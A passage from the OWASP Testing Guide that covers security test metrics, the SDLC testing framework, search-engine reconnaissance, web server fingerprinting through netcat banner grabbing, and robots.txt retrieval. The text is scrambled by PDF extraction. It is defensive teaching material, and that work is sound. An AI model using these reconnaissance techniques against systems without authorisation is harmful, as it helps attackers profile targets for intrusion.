found in the application during testing. One measure of application size is the number of lines of code (LOC) of the application.
Typically, software quality defects range from about 7 to 10 defects
per thousand lines of new and changed code [21]. Since testing
can reduce the overall number by about 25% with one test alone,
it is logical for larger size applications to be tested more often than
smaller size applications.
When security testing is done in several phases of the SDLC, the
test data can prove the capability of the security tests in detecting vulnerabilities as soon as they are introduced. The test data can
also prove the effectiveness of removing the vulnerabilities by implementing countermeasures at different checkpoints of the SDLC.
A measurement of this type is also defined as “containment metrics” and provides a measure of the ability of a security assessment performed at each phase of the development process to maintain security within each phase.
These containment metrics are also a critical factor in lowering the
cost of fixing the vulnerabilities. It is less expensive to deal with
vulnerabilities in the same phase of the SDLC that they are found,
rather then fixing them later in another phase.
Security test metrics can support security risk, cost, and defect
management analysis when they are associated with tangible and
timed goals such as:
• Reducing the overall number of vulnerabilities by 30%
• Fixing security issues by a certain deadline (e.g., before beta
release)
Security test data can be absolute, such as the number of vulnerabilities detected during manual code review, as well as comparative,
such as the number of vulnerabilities detected in code reviews compared to penetration tests. To answer questions about the quality
of the security process, it is important to determine a baseline for
what could be considered acceptable and good. Security test data
can also support specific objectives of the security analysis. These
objects could be compliance with security regulations and information security standards, management of security processes, the
identification of security root causes and process improvements,
and security cost benefit analysis.
When security test data is reported it has to provide metrics to support the analysis. The scope of the analysis is the interpretation of
test data to find clues about the security of the software being produced as well the effectiveness of the process.
Some examples of clues supported by security test data can be:
• Are vulnerabilities reduced to an acceptable level for release?
• How does the security quality of this product compare with
similar software products?
• Are all security test requirements being met?
• What are the major root causes of security issues?
• How numerous are security flaws compared to security bugs?
• Which security activity is most effective in finding vulnerabilities?
• Which team is more productive in fixing security defects
and vulnerabilities?

• Which percentage of overall vulnerabilities are high risk?
• Which tools are most effective in detecting security vulnerabilities?
• Which kind of security tests are most effective in finding
vulnerabilities (e.g., white box vs. black box) tests?
• How many security issues are found during secure code reviews?
• How many security issues are found during secure design
reviews?
In order to make a sound judgment using the testing data, it is important to have a good understanding of the testing process as well
as the testing tools. A tool taxonomy should be adopted to decide
which security tools to use. Security tools can be qualified as being
good at finding common known vulnerabilities targeting different
artifacts.
The issue is that the unknown security issues are not tested. The fact
that a security test is clear of issues does not mean that the software
or application is good. Some studies [22] have demonstrated that, at
best, tools can only find 45% of overall vulnerabilities.
Even the most sophisticated automation tools are not a match for
an experienced security tester. Just relying on successful test results from automation tools will give security practitioners a false
sense of security.Typically, the more experienced the security testers are with the security testing methodology and testing tools,
the better the results of the security test and analysis will be. It is
important that managers making an investment in security testing
tools also consider an investment in hiring skilled human resources
as well as security test training.
Reporting Requirements
The security posture of an application can be characterized from the
perspective of the effect, such as number of vulnerabilities and the
risk rating of the vulnerabilities, as well as from the perspective of
the cause or origin, such as coding errors, architectural flaws, and
configuration issues.
Vulnerabilities can be classified according to different criteria.
The most commonly used vulnerability severity metric is the Forum
of Incident Response and Security Teams (FIRST) Common Vulnerability Scoring System (CVSS), which is currently in release version 2
with version 3 due for release shortly.
When reporting security test data the best practice is to include the
following information:
• The categorization of each vulnerability by type
• The security threat that the issue is exposed to
• The root cause of security issues (e.g., security bugs, security flaw)
• The testing technique used to find the issue
• The remediation of the vulnerability (e.g., the countermeasure)
• The severity rating of the vulnerability (High, Medium, Low and/
or CVSS score)
By describing what the security threat is, it will be possible to understand if and why the mitigation control is ineffective in mitigating the threat.
Reporting the root cause of the issue can help pinpoint what
needs to be fixed. In the case of a white box testing, for example,
the software security root cause of the vulnerability will be the

23

Testing Guide Introduction

offending source code.

References

Once issues are reported, it is also important to provide guidance to
the software developer on how to re-test and find the vulnerability.
This might involve using a white box testing technique (e.g., security
code review with a static code analyzer) to find if the code is vulnerable. If a vulnerability can be found via a black box technique (penetration test), the test report also needs to provide information on how to
validate the exposure of the vulnerability to the front end (e.g., client).

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[22] Marco Morana, Building Security Into The Software Life
Cycle, A Business Case - http://www.blackhat.com/presentations/
bh-usa-06/bh-us-06-Morana-R3.0.pdf

The information about how to fix the vulnerability should be detailed enough for a developer to implement a fix. It should provide
secure coding examples, configuration changes, and provide adequate references.
Finally, the severity rating contributes to the calculation of risk rating and helps to prioritize the remediation effort. Typically, assigning
a risk rating to the vulnerability involves external risk analysis based
upon factors such as impact and exposure.
For the security test metrics to be useful, they need to provide value back to the organization’s security test data stakeholders. The
stakeholders can include project managers, developers, information
security offices, auditors, and chief information officers. The value
can be in terms of the business case that each project stakeholder
has in terms of role and responsibility.
Software developers look at security test data to show that software
is coded more securely and efficiently. This allows them to make the
case for using source code analysis tools as well as following secure
coding standards and attending software security training.
Project managers look for data that allows them to successfully
manage and utilize security testing activities and resources according to the project plan. To project managers, security test data can
show that projects are on schedule and moving on target for delivery dates and are getting better during tests.
Security test data also helps the business case for security testing
if the initiative comes from information security officers (ISOs). For
example, it can provide evidence that security testing during the SDLC
does not impact the project delivery, but rather reduces the overall
To compliance auditors, security test metrics provide a level of
software security assurance and confidence that security standard
compliance is addressed through the security review processes
within the organization.
Finally, Chief Information Officers (CIOs) and Chief Information Security Officers (CISOs), who are responsible for the budget that needs to
be allocated in security resources, look for derivation of a cost benefit
analysis from security test data.This allows them to make informed
decisions on which security activities and tools to invest. One of the
metrics that supports such analysis is the Return On Investment
(ROI) in Security [23]. To derive such metrics from security test data,
it is important to quantify the differential between the risk due to the
exposure of vulnerabilities and the effectiveness of the security tests
in mitigating the security risk, and factor this gap with the cost of the
security testing activity or the testing tools adopted.

24

3

The OWASP Testing Framework

The OWASP Testing Framework
This section describes a typical testing framework that can be
developed within an organization. It can be seen as a reference
framework that comprises techniques and tasks that are
appropriate at various phases of the software development life
cycle (SDLC).

Overview

This section describes a typical testing framework that can be developed within an organization. It can be seen as a reference framework that comprises techniques and tasks that are appropriate at
various phases of the software development life cycle (SDLC). Companies and project teams can use this model to develop their own
testing framework and to scope testing services from vendors. This
framework should not be seen as prescriptive, but as a flexible approach that can be extended and molded to fit an organization’s
development process and culture.
This section aims to help organizations build a complete strategic
testing process, and is not aimed at consultants or contractors who
tend to be engaged in more tactical, specific areas of testing.
It is critical to understand why building an end-to-end testing
framework is crucial to assessing and improving software security.
In Writing Secure Code Howard and LeBlanc note that issuing a security bulletin costs Microsoft at least $100,000, and it costs their customers collectively far more than that to implement the security patches. They also note that the US government’s CyberCrime web site (http://www.justice.gov/criminal/cybercrime/) details recent criminal cases and the loss to organizations. Typical losses far exceed USD$100,000.
With economics like this, it is little wonder why software vendors
move from solely performing black box security testing, which can
only be performed on applications that have already been developed, to concentrate on testing in the early cycles of application
development such as definition, design, and development.
Many security practitioners still see security testing in the realm of
penetration testing. As discussed before, while penetration testing
has a role to play, it is generally inefficient at finding bugs and relies
excessively on the skill of the tester. It should only be considered as
an implementation technique, or to raise awareness of production
issues. To improve the security of applications, the security quality
of the software must be improved. That means testing the security
at the definition, design, develop, deploy, and maintenance stages,
and not relying on the costly strategy of waiting until code is completely built.
As discussed in the introduction of this document, there are many
development methodologies such as the Rational Unified Process,
eXtreme and Agile development, and traditional waterfall methodologies. The intent of this guide is to suggest neither a particular development methodology nor provide specific guidance that adheres
to any particular methodology. Instead, we are presenting a generic

their company process.
This testing framework consists of the following activities that
should take place:
• Before development begins
• During definition and design
• During development
• During deployment
• Maintenance and operations

Phase 1: Before Development Begins

Phase 1.1: Define a SDLC
Before application development starts an adequate SDLC must be
defined where security is inherent at each stage.
Phase 1.2: Review Policies and Standards
Ensure that there are appropriate policies, standards, and documentation in place. Documentation is extremely important as it gives development teams guidelines and policies that they can follow.
People can only do the right thing if they know what the right thing is.
If the application is to be developed in Java, it is essential that there
is a Java secure coding standard. If the application is to use cryptography, it is essential that there is a cryptography standard. No policies or standards can cover every situation that the development
team will face. By documenting the common and predictable issues,
there will be fewer decisions that need to be made during the development process.
Phase 1.3: Develop Measurement and Metrics Criteria and Ensure
Traceability
Before development begins, plan the measurement program. By
defining criteria that need to be measured, it provides visibility into
defects in both the process and product. It is essential to define
the metrics before development begins, as there may be a need to
modify the process in order to capture the data.

Phase 2: During Definition and Design

Phase 2.1: Review Security Requirements
Security requirements define how an application works from a security perspective. It is essential that the security requirements are
tested. Testing in this case means testing the assumptions that are
made in the requirements and testing to see if there are gaps in the
requirements definitions.
For example, if there is a security requirement that states that users

25

The OWASP Testing Framework

section of a website, does this mean that the user must be registered with the system or should the user be authenticated? Ensure
that requirements are as unambiguous as possible.
When looking for requirements gaps, consider looking at security
mechanisms such as:
• User Management
• Authentication
• Authorization
• Data Confidentiality
• Integrity
• Accountability
• Session Management
• Transport Security
• Tiered System Segregation
• Legislative and standards compliance (including Privacy,
Government and Industry standards)
Phase 2.2: Review Design and Architecture
Applications should have a documented design and architecture.
This documentation can include models, textual documents, and
other similar artifacts. It is essential to test these artifacts to ensure
that the design and architecture enforce the appropriate level of security as defined in the requirements.
Identifying security flaws in the design phase is not only one of the
most cost-efficient places to identify flaws, but can be one of the
most effective places to make changes. For example, if it is identified that the design calls for authorization decisions to be made in
multiple places, it may be appropriate to consider a central authorization component. If the application is performing data validation
at multiple places, it may be appropriate to develop a central validation framework (ie, fixing input validation in one place, rather than in
hundreds of places, is far cheaper).
If weaknesses are discovered, they should be given to the system
architect for alternative approaches.

development. These are often smaller decisions that were either too
detailed to be described in the design, or issues where no policy or
standard guidance was offered. If the design and architecture were
not adequate, the developer will be faced with many decisions. If
there were insufficient policies and standards, the developer will be
faced with even more decisions.
Phase 3.1: Code Walk Through
The security team should perform a code walk through with the
developers, and in some cases, the system architects. A code walk
through is a high-level walk through of the code where the developers can explain the logic and flow of the implemented code. It allows the code review team to obtain a general understanding of the
code, and allows the developers to explain why certain things were
developed the way they were.
The purpose is not to perform a code review, but to understand at
a high level the flow, the layout, and the structure of the code that
makes up the application.
Phase 3.2: Code Reviews
Armed with a good understanding of how the code is structured
and why certain things were coded the way they were, the tester
can now examine the actual code for security defects.
Static code reviews validate the code against a set of checklists,
icluding:
• Business requirements for availability, confidentiality, and
integrity.
• OWASP Guide or Top 10 Checklists for technical exposures
(depending on the depth of the review).
• Specific issues relating to the language or framework in use, such
as the Scarlet paper for PHP or Microsoft Secure Coding checklists
for ASP.NET.
• Any industry specific requirements, such as Sarbanes-Oxley 404,
COPPA, ISO/IEC 27002, APRA, HIPAA, Visa Merchant guidelines,
or other regulatory regimes.

Phase 2.3: Create and Review UML Models
Once the design and architecture is complete, build Unified
Modeling Language (UML) models that describe how the application works. In some cases, these may already be available.
Use these models to confirm with the systems designers an exact
understanding of how the application works. If weaknesses are discovered, they should be given to the system architect for alternative
approaches.

In terms of return on resources invested (mostly time), static code
reviews produce far higher quality returns than any other security
review method and rely least on the skill of the reviewer. However,
they are not a silver bullet and need to be considered carefully within a full-spectrum testing regime.

Phase 2.4: Create and Review Threat Models
Armed with design and architecture reviews and the UML models
explaining exactly how the system works, undertake a threat modeling exercise. Develop realistic threat scenarios. Analyze the design
and architecture to ensure that these threats have been mitigated,
accepted by the business, or assigned to a third party, such as an
insurance firm. When identified threats have no mitigation strategies, revisit the design and architecture with the systems architect
to modify the design.

Phase 4: During Deployment

Phase 3: During Development

Theoretically, development is the implementation of a design. However, in the real world, many design decisions are made during code

For more details on OWASP checklists, please refer to OWASP Guide
for Secure Web Applications, or the latest edition of the OWASP Top 10.
Phase 4.1: Application Penetration Testing
Having tested the requirements, analyzed the design, and performed code review, it might be assumed that all issues have been
caught. Hopefully this is the case, but penetration testing the application after it has been deployed provides a last check to ensure
that nothing has been missed.
Phase 4.2: Configuration Management Testing
The application penetration test should include the checking of how
the infrastructure was deployed and secured. While the application
may be secure, a small aspect of the configuration could still be at a
default install stage and vulnerable to exploitation.

26

The OWASP Testing Framework

Phase 5: Maintenance and Operations

Phase 5.1: Conduct Operational Management Reviews
There needs to be a process in place which details how the operational side of both the application and infrastructure is managed.
Phase 5.2: Conduct Periodic Health Checks
Monthly or quarterly health checks should be performed on both
the application and infrastructure to ensure no new security risks
have been introduced and that the level of security is still intact.

Phase 5.3: Ensure Change Verification
After every change has been approved and tested in the QA environment and deployed into the production environment, it is vital
that the change is checked to ensure that the level of security has
not been affected by the change. This should be integrated into the
change management process.

A Typical SDLC Testing Workflow

The following figure shows a typical SDLC Testing Workflow.

OWASP TESTING FRAMEWORK WORK FLOW
Before
Development

Review SDLC
Process
Metrics
Criteria
Measurement
Traceability

Policy Review

Standards
Review

Requirements
Review

Design and
Architecture
Review

Create /
Review UML
models

Development

Code Review

Code
Walkthroughs

Unit and
System tests

Deployment

Penetration
Testing

Configuration
Management
Reviews

Unit and
System tests

Acceptance
Tests

Maintenance

Chance
verification

Health Checks

Operational
Management
reviews

Regression
Tests

Definition
and Design

Create /
Review Threat
Models

27

Web Application Penetration Testing

4

Web Application
Security Testing
The following sections describe the 12
subcategories of the Web Application
Penetration Testing Methodology:

Testing: Introduction and objectives

This section describes the OWASP web application security testing
methodology and explains how to test for evidence of vulnerabilities
within the application due to deficiencies with identified security controls.
What is Web Application Security Testing?
A security test is a method of evaluating the security of a computer
system or network by methodically validating and verifying the effectiveness of application security controls. A web application security
test focuses only on evaluating the security of a web application. The
process involves an active analysis of the application for any weaknesses, technical flaws, or vulnerabilities. Any security issues that are
found will be presented to the system owner, together with an assessment of the impact, a proposal for mitigation or a technical solution.
What is a Vulnerability?
A vulnerability is a flaw or weakness in a system’s design, implementation, operation or management that could be exploited to compromise the system’s security objectives.
What is a Threat?
A threat is anything (a malicious external attacker, an internal user, a
system instability, etc) that may harm the assets owned by an application (resources of value, such as the data in a database or in the file
system) by exploiting a vulnerability.
What is a Test?
A test is an action to demonstrate that an application meets the security requirements of its stakeholders.
The Approach in Writing this Guide
The OWASP approach is open and collaborative:
• Open: every security expert can participate with his or her experience
in the project. Everything is free.
• Collaborative: brainstorming is performed before the articles are
written so the team can share ideas and develop a collective vision
of the project. That means rough consensus, a wider audience and
increased participation.
This approach tends to create a defined Testing Methodology that
will be:
• Consistent
• Reproducible
• Rigorous
• Under quality control

The problems to be addressed are fully documented and tested. It is
important to use a method to test all known vulnerabilities and document all the security test activities.
What is the OWASP testing methodology?
Security testing will never be an exact science where a complete list
of all possible issues that should be tested can be defined. Indeed,
security testing is only an appropriate technique for testing the security of web applications under certain circumstances. The goal of this
project is to collect all the possible testing techniques, explain these
techniques, and keep the guide updated. The OWASP Web Application
Security Testing method is based on the black box approach. The tester knows nothing or has very little information about the application
to be tested.
The testing model consists of:
• Tester: Who performs the testing activities
• Tools and methodology: The core of this Testing Guide project
• Application: The black box to test
The test is divided into 2 phases:
• Phase 1 Passive mode:
In the passive mode the tester tries to understand the application’s
logic and plays with the application. Tools can be used for information gathering. For example, an HTTP proxy can be used to observe all
the HTTP requests and responses. At the end of this phase, the tester
should understand all the access points (gates) of the application (e.g.,
section explains how to perform a passive mode test.
For example the tester could find the following:
This may indicate an authentication form where the application requests a username and a password.
The following parameters represent two access points (gates) to the
application:
http://www.example.com/Appx.jsp?a=1&b=1
In this case, the application shows two gates (parameters a and b). All
the gates found in this phase represent a point of testing. A spreadsheet with the directory tree of the application and all the access
points would be useful for the second phase.

28

Web Application Penetration Testing

• Phase 2 Active mode:
In this phase the tester begins to test using the methodology described in the follow sections.
The set of active tests have been split into 11 sub-categories for a
total of 91 controls:
• Information Gathering
• Configuration and Deployment Management Testing
• Identity Management Testing
• Authentication Testing
• Authorization Testing
• Session Management Testing
• Input Validation Testing
• Error Handling
• Cryptography
• Client Side Testing

Testing for Information Gathering

Understanding the deployed configuration of the server hosting the
web application is almost as important as the application security testing itself. After all, an application chain is only as strong as its
weakest link. Application platforms are wide and varied, but some key
platform configuration errors can compromise the application in the
same way an unsecured application can compromise the server.

Conduct search engine discovery/reconnaissance
for information leakage (OTG-INFO-001)
Summary
There are direct and indirect elements to search engine discovery
and reconnaissance. Direct methods relate to searching the indexes
and the associated content from caches. Indirect methods relate to
gleaning sensitive design and configuration information by searching
forums, newsgroups, and tendering websites.
Once a search engine robot has completed crawling, it commences indexing the web page based on tags and associated attributes, such as
, in order to return the relevant search results [1]. If the robots.
txt file is not updated during the lifetime of the web site, and inline
HTML meta tags that instruct robots not to index content have not
been used, then it is possible for indexes to contain web content not
intended to be included in by the owners. Website owners may use
the previously mentioned robots.txt, HTML meta tags, authentication,
and tools provided by search engines to remove such content.

Search operators
Using the advanced “site:” search operator, it is possible to restrict
search results to a specific domain [2]. Do not limit testing to just
one search engine provider as they may generate different results
depending on when they crawled content and their own algorithms.
Consider using the following search engines:
• Baidu
• binsearch.info
• Bing
• Duck Duck Go
• ixquick/Startpage
• Shodan
• PunkSpider
Duck Duck Go and ixquick/Startpage provide reduced information
is the equivalent to clicking the “Cached” next to each Google Search
Result. Hence, the use of the Advanced “site:” Search Operator and
then clicking “Cached” is preferred.
The Google SOAP Search API supports the doGetCachedPage and the
associated doGetCachedPageResponse SOAP Messages [3] to assist
with retrieving cached pages. An implementation of this is under development by the OWASP “Google Hacking” Project.
PunkSpider is web application vulnerability search engine. It is of little use for a penetration tester doing manual work. However it can
be useful as demonstration of easiness of finding vulnerabilities by
script-kiddies.
Example To find the web content of owasp.org indexed by a typical
search engine, the syntax required is:
site:owasp.org

Test Objectives
To understand what sensitive design and configuration information of
the application/system/organization is exposed both directly (on the
organization’s website) or indirectly (on a third party website).
How to Test
Use a search engine to search for:
• Network diagrams and configurations
• Archived posts and emails by administrators and other key staff
• Log on procedures and username formats
• Error message content
• Development, test, UAT and staging versions of the website

To display the index.html of owasp.org as cached, the syntax is:
cache:owasp.org

29

Web Application Penetration Testing

The Google Hacking Database is list of useful search queries for Google. Queries are put in several categories:
• Footholds
• Sensitive Directories
• Web Server Detection
• Vulnerable Files
• Vulnerable Servers
• Error Messages
• Files containing juicy info
• Sensitive Online Shopping Info

Tools

free-tools/sitedigger.aspx
zip
[7] PunkSPIDER: http://punkspider.hyperiongray.com/

References

Web
[2] “Operators and More Search Help”: https://support.google.com/

Remediation

Carefully consider the sensitivity of design and configuration information before it is posted online.
Periodically review the sensitivity of existing design and configuration
information that is posted online.

Fingerprint Web Server (OTG-INFO-002)

Summary
Web server fingerprinting is a critical task for the penetration tester.
Knowing the version and type of a running web server allows testers
to determine known vulnerabilities and the appropriate exploits to use
during testing.

There are several different vendors and versions of web servers on
the market today. Knowing the type of web server that is being tested significantly helps in the testing process and can also change the
course of the test.
This information can be derived by sending the web server specific
commands and analyzing the output, as each version of web server
software may respond differently to these commands. By knowing
how each type of web server responds to specific commands and
keeping this information in a web server fingerprint database, a penetration tester can send these commands to the web server, analyze
the response, and compare it to the database of known signatures.
Please note that it usually takes several different commands to accurately identify the web server, as different versions may react similarly
to the same command. Rarely do different versions react the same to
all HTTP commands. So by sending several different commands, the
tester can increase the accuracy of their guess.

Test Objectives

Find the version and type of a running web server to determine known
vulnerabilities and the appropriate exploits to use during testing.

How to Test
Black Box testing
The simplest and most basic form of identifying a web server is to look
at the Server field in the HTTP response header. Netcat is used in this
experiment.
Consider the following HTTP Request-Response:
$nc 202.41.76.251 80 HEAD / HTTP/1.0 HTTP/1.1 200 OK Date: Mon, 16 Jun 2003 02:53:29 GMT Server: Apache/1.3.3 (Unix) (Red Hat/Linux) Last-Modified: Wed, 07 Oct 1998 11:18:14 GMT ETag: “1813-49b-361b4df6” Accept-Ranges: bytes Content-Length: 1179 Connection: close Content-Type: text/html From the Server field, one can understand that the server is likely Apache, version 1.3.3, running on Linux operating system. Four examples of the HTTP response headers are shown below. From an Apache 1.3.23 server: HTTP/1.1 200 OK Date: Sun, 15 Jun 2003 17:10: 49 GMT Server: Apache/1.3.23 Last-Modified: Thu, 27 Feb 2003 03:48: 19 GMT ETag: 32417-c4-3e5d8a83 Accept-Ranges: bytes Content-Length: 196 Connection: close Content-Type: text/HTML 30 Web Application Penetration Testing From a Microsoft IIS 5.0 server: HTTP/1.1 200 OK Server: Microsoft-IIS/5.0 Expires: Yours, 17 Jun 2003 01:41: 33 GMT Date: Mon, 16 Jun 2003 01:41: 33 GMT Content-Type: text/HTML Accept-Ranges: bytes Last-Modified: Wed, 28 May 2003 15:32: 21 GMT ETag: b0aac0542e25c31: 89d Content-Length: 7369 From a Netscape Enterprise 4.1 server: HTTP/1.1 200 OK Server: Netscape-Enterprise/4.1 Date: Mon, 16 Jun 2003 06:19: 04 GMT Content-type: text/HTML Last-modified: Wed, 31 Jul 2002 15:37: 56 GMT Content-length: 57 Accept-ranges: bytes Connection: close From a SunONE 6.1 server: HTTP/1.1 200 OK Server: Sun-ONE-Web-Server/6.1 Date: Tue, 16 Jan 2007 14:53:45 GMT Content-length: 1186 Content-type: text/html Date: Tue, 16 Jan 2007 14:50:31 GMT Last-Modified: Wed, 10 Jan 2007 09:58:26 GMT Accept-Ranges: bytes Connection: close However, this testing methodology is limited in accuracy. There are several techniques that allow a web site to obfuscate or to modify the server banner string. For example one could obtain the following answer: 403 HTTP/1.1 Forbidden Date: Mon, 16 Jun 2003 02:41: 27 GMT Server: Unknown-Webserver/1.0 Connection: close Content-Type: text/HTML; charset=iso-8859-1 In this case, the server field of that response is obfuscated. The tester cannot know what type of web server is running based on such information. Protocol Behavior More refined techniques take in consideration various characteristics of the several web servers available on the market. Below is a list of some methodologies that allow testers to deduce the type of web server in use. HTTP header field ordering The first method consists of observing the ordering of the several headers in the response. Every web server has an inner ordering of the header. Consider the following answers as an example: Response from Apache 1.3.23$ nc apache.example.com 80
HTTP/1.1 200 OK
Date: Sun, 15 Jun 2003 17:10: 49 GMT
Server: Apache/1.3.23
Last-Modified: Thu, 27 Feb 2003 03:48: 19 GMT
ETag: 32417-c4-3e5d8a83
Accept-Ranges: bytes
Content-Length: 196
Connection: close
Content-Type: text/HTML
Response from IIS 5.0
$nc iis.example.com 80 HEAD / HTTP/1.0 HTTP/1.1 200 OK Server: Microsoft-IIS/5.0 Content-Location: http://iis.example.com/Default.htm Date: Fri, 01 Jan 1999 20:13: 52 GMT Content-Type: text/HTML Accept-Ranges: bytes Last-Modified: Fri, 01 Jan 1999 20:13: 52 GMT ETag: W/e0d362a4c335be1: ae1 Content-Length: 133 Response from Netscape Enterprise 4.1$ nc netscape.example.com 80
HTTP/1.1 200 OK
Server: Netscape-Enterprise/4.1
Date: Mon, 16 Jun 2003 06:01: 40 GMT
Content-type: text/HTML
Last-modified: Wed, 31 Jul 2002 15:37: 56 GMT
Content-length: 57
Accept-ranges: bytes
Connection: close

31

Web Application Penetration Testing

Response from a SunONE 6.1
$nc sunone.example.com 80 HEAD / HTTP/1.0 HTTP/1.1 200 OK Server: Sun-ONE-Web-Server/6.1 Date: Tue, 16 Jan 2007 15:23:37 GMT Content-length: 0 Content-type: text/html Date: Tue, 16 Jan 2007 15:20:26 GMT Last-Modified: Wed, 10 Jan 2007 09:58:26 GMT Connection: close We can notice that the ordering of the Date field and the Server field differs between Apache, Netscape Enterprise, and IIS. Malformed requests test Another useful test to execute involves sending malformed requests or requests of nonexistent pages to the server. Consider the following HTTP responses. Response from Apache 1.3.23$ nc apache.example.com 80
GET / HTTP/3.0
Date: Sun, 15 Jun 2003 17:12: 37 GMT
Server: Apache/1.3.23
Connection: close
Transfer: chunked
Content-Type: text/HTML; charset=iso-8859-1
Response from IIS 5.0
$nc iis.example.com 80 GET / HTTP/3.0 HTTP/1.1 200 OK Server: Microsoft-IIS/5.0 Content-Location: http://iis.example.com/Default.htm Date: Fri, 01 Jan 1999 20:14: 02 GMT Content-Type: text/HTML Accept-Ranges: bytes Last-Modified: Fri, 01 Jan 1999 20:14: 02 GMT ETag: W/e0d362a4c335be1: ae1 Content-Length: 133 Response from Netscape Enterprise 4.1$ nc netscape.example.com 80
GET / HTTP/3.0

HTTP/1.1 505 HTTP Version Not Supported
Server: Netscape-Enterprise/4.1
Date: Mon, 16 Jun 2003 06:04: 04 GMT
Content-length: 140
Content-type: text/HTML
Connection: close
Response from a SunONE 6.1
$nc sunone.example.com 80 GET / HTTP/3.0 HTTP/1.1 400 Bad request Server: Sun-ONE-Web-Server/6.1 Date: Tue, 16 Jan 2007 15:25:00 GMT Content-length: 0 Content-type: text/html Connection: close We notice that every server answers in a different way. The answer also differs in the version of the server. Similar observations can be done we create requests with a non-existent HTTP method/verb. Consider the following responses: Response from Apache 1.3.23$ nc apache.example.com 80
GET / JUNK/1.0
HTTP/1.1 200 OK
Date: Sun, 15 Jun 2003 17:17: 47 GMT
Server: Apache/1.3.23
Last-Modified: Thu, 27 Feb 2003 03:48: 19 GMT
ETag: 32417-c4-3e5d8a83
Accept-Ranges: bytes
Content-Length: 196
Connection: close
Content-Type: text/HTML
Response from IIS 5.0
$nc iis.example.com 80 GET / JUNK/1.0 HTTP/1.1 400 Bad Request Server: Microsoft-IIS/5.0 Date: Fri, 01 Jan 1999 20:14: 34 GMT Content-Type: text/HTML Content-Length: 87 32 Web Application Penetration Testing Response from Netscape Enterprise 4.1$ nc netscape.example.com 80
GET / JUNK/1.0

of an online tool that often delivers a lot of information about target
Web Servers, is Netcraft. With this tool we can retrieve information
about operating system, web server used, Server Uptime, Netblock
Owner, history of change related to Web server and O.S.
An example is shown below:

Your browser sent to query this server could not understand.

Response from a SunONE 6.1
$nc sunone.example.com 80 GET / JUNK/1.0 Bad request Bad request Your browser sent a query this server could not understand. Tools • httprint - http://net-square.com/httprint.html • httprecon - http://www.computec.ch/projekte/httprecon/ • Netcraft - http://www.netcraft.com • Desenmascarame - http://desenmascara.me Automated Testing Rather than rely on manual banner grabbing and analysis of the web server headers, a tester can use automated tools to achieve the same results. There are many tests to carry out in order to accurately fingerprint a web server. Luckily, there are tools that automate these tests. “httprint” is one of such tools. httprint uses a signature dictionary that allows it to recognize the type and the version of the web server in use. An example of running httprint is shown below: OWASP Unmaskme Project is expected to become another online tool to do fingerprinting of any website with an overall interpretation of all the Web-metadata extracted. The idea behind this project is that anyone in charge of a website could test the metadata the site is showing to the world and assess it from a security point of view. While this project is still being developed, you can test a Spanish Proof of Concept of this idea. References Whitepapers • Saumil Shah: “An Introduction to HTTP fingerprinting” - http:// www.net-square.com/httprint_paper.html • Anant Shrivastava: “Web Application Finger Printing” - http:// anantshri.info/articles/web_app_finger_printing.html Remediation Protect the presentation layer web server behind a hardened reverse proxy. Obfuscate the presentation layer web server headers. • Apache • IIS Review Webserver Metafiles for Information Leakage (OTG-INFO-003) Summary This section describes how to test the robots.txt file for information leakage of the web application’s directory or folder path(s). Furthermore, the list of directories that are to be avoided by Spiders, Robots, or Crawlers can also be created as a dependency for Map execution paths through application (OTG-INFO-007) Online Testing Online tools can be used if the tester wishes to test more stealthily and doesn’t wish to directly connect to the target website. An example Test Objectives 1. Information leakage of the web application’s directory or folder path(s). 33 Web Application Penetration Testing 2. Create the list of directories that are to be avoided by Spiders, Robots, or Crawlers. How to Test robots.txt Web Spiders, Robots, or Crawlers retrieve a web page and then recursively traverse hyperlinks to retrieve further web content. Their accepted behavior is specified by the Robots Exclusion Protocol of the robots.txt file in the web root directory [1]. As an example, the beginning of the robots.txt file from http://www. google.com/robots.txt sampled on 11 August 2013 is quoted below: User-agent: * Disallow: /search Disallow: /sdch Disallow: /groups Disallow: /images Disallow: /catalogs ... The User-Agent directive refers to the specific web spider/robot/ crawler. For example the User-Agent: Googlebot refers to the spider from Google while “User-Agent: bingbot”[1] refers to crawler from Microsoft/Yahoo!. User-Agent: * in the example above applies to all web spiders/robots/crawlers [2] as quoted below: User-agent: * The Disallow directive specifies which resources are prohibited by spiders/robots/crawlers. In the example above, directories such as the following are prohibited: ... Disallow: /search Disallow: /sdch Disallow: /groups Disallow: /images Disallow: /catalogs ... Web spiders/robots/crawlers can intentionally ignore the Disallow directives specified in a robots.txt file [3], such as those from Social Networks[2] to ensure that shared linked are still valid. Hence, robots.txt should not be considered as a mechanism to enforce restrictions on how web content is accessed, stored, or republished by third parties. cmlh$ wget http://www.google.com/robots.txt
74.125.237.19, ...
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/plain]
Saving to: ‘robots.txt.1’
[ <=>

] 7,074

--.-K/s in 0s

2013-08-11 14:40:37 (59.7 MB/s) - ‘robots.txt’ saved [7074]
cmlh$head -n5 robots.txt User-agent: * Disallow: /search Disallow: /sdch Disallow: /groups Disallow: /images cmlh$

cmlh$curl -O http://www.google.com/robots.txt % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 101 7074 0 7074 0 0 9410 0 --:--:-- --:--:-- --:--:-27312 cmlh$ head -n5 robots.txt
User-agent: *
Disallow: /search
Disallow: /sdch
Disallow: /groups
Disallow: /images
cmlh$robots.txt in webroot - with rockspider “rockspider”[3] automates the creation of the initial scope for Spiders/ Robots/Crawlers of files and directories/folders of a web site. For example, to create the initial scope based on the Allowed: directive from www.google.com using “rockspider”[4]: cmlh$ ./rockspider.pl -www www.google.com
“Rockspider” Alpha v0.1_2

robots.txt in webroot - with “wget” or “curl”

The robots.txt file is retrieved from the web root directory of the web
server. For example, to retrieve the robots.txt from www.google.com
using “wget” or “curl”:

34

Web Application Penetration Testing

3. Sending Allow: URIs of www.google.com to web proxy i.e.
127.0.0.1:8080
/catalogs/p? sent
/news/directory sent
...
4. Done.
